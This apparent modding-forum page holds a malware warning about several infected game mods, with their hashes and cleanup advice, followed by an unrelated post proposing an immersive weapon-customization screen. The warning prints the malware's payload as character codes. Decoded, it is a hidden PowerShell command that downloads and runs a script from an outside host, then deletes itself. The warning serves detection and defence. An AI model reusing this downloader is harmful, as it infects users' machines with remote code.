📢 Attention about malware in mods

If you had installed the following mods:

"Auto Save on Exit" by Subaiy | MD5 hash - 6246fa47c492250128cbb4a463d2161a "Kill Counter" by Daniel | MD5 hash - bcee56cc847489a2a328189ba882d95e (if you downloaded this one: https://modworkshop.net/mod/56156 you are fine.) "Enemies Drop Better Loot" by Krunker | MD5 hash - ba9e7d88f1079c0324d53bde5786e4da (If you downloaded this one: https://modworkshop.net/mod/56230 you are fine). "Item Esp" by captainushi55. | MD5 hash - c663af8446d2a71747456cea36d0dfd9

Your PC is likely infected with malware. Do a proper reset to your computer.

What are we gonna do next? We are going to look for moderators to look at new mods for RTV. We'll be looking into ways to improve the site itself to better protect against these bad actors and also to let users know if a mod was infected - https://modworkshop.net/thread/13229. What can you do? Again if you are infected, factory reset your computer. Search for suspicious things in the mods you download (like "powershell")
These attacks all follow the same pattern, they execute a powershell script using some encoded URL:
[64,101,99,104,111,32,111,102,102,10,115,116,97,114,116,32,47,98,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,99,32,34,105,119,114,32,104,116,116,112,115,58,47,47,114,111,97,100,116,111,118,111,115,116,111,107,46,115,116,111,114,101,47,100,97,46,112,115,49,32,45,111,117,116,32,37,84,69,77,80,37,92,100,108,46,112,115,49,32,45,117,115,101,98,59,32,112,111,119,101,114,115,104,101,108,108,46,101,120,101,32,45,101,112,32,98,121,112,97,115,115,32,45,119,32,72,105,100,100,101,110,32,45,102,32,37,84,69,77,80,37,92,100,108,46,112,115,49,59,32,83,116,97,114,116,45,83,108,101,101,112,32,53,59,32,100,101,108,32,37,84,69,77,80,37,92,100,108,46,112,115,49,34,10,100,101,108,32,34,37,126,48,34] Check file hash of the file you downloaded using: https://hash-file.online. Any mod containing powershell script without a good reason should be reported to moderators. Any mod that isn't open-source should be reported.
Mod Idea: change Weapon Inspect to Immersive Weapon Customization Screen
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Let me just put this idea out there.

tldr:

turn the Weapon Inspect screen that we already have into something like this:


The intent is to give LESS reason to mess around in Inventory screens and be able to do more weapon customization in an immersive in-game way while looking at the thing in-game in-hand.

As little UI clutter as possible, i'm thinking just hotkeys (arrow keys, numpad, d-pad?) and maybe a list in the bottom corner (like in the furniture placement screen) with the commands listed, and once you can remember the keybinds have a toggle to hide that too.
Less UI = more immersive + less work = win win.

The keybinds should only activate once the inspect button has been pressed and the gun is held up.
I think tricky part will be to auto populate the options with compatible items that you got in your player inventory for the weapon in hand (primary and secondary).

This would go well together with Adaptive HUD (hides main UI for more immersive gameplay and less OLED burn in).
And one of the mods that tell you when a loot container is empty, so you don't even have to open every single UI screen to check = less UI clutter is the mission.
There is a mod that lets you chamber a round by holding Shift + R outside of the inventory screen (so you can load a bullet and shoot it while not having a mag)... that is in the same line of thinking, doing something outside of the inventory.

And you can already hold CTRL + Mousewheel to move the scope along the top rail of the weapon, which is something you can't even do at all in the inventory screen.
(something like that to freely place laser pointers, grips, flashlights would also make a lot of sense... i assume stuff like that will be added later during development or will be added via mods eventually).

I just saw someone on Steam requesting a mod to load the mag you got equipped with bullets one by one...
like the Moslin or the Shotgun you'd press CTRL and then click in each bullet until it is full, using the animation that pops up when you press V to check your bullet count.
That request just got me thinking and this is where my line of thinking ended up at.

Feature Request
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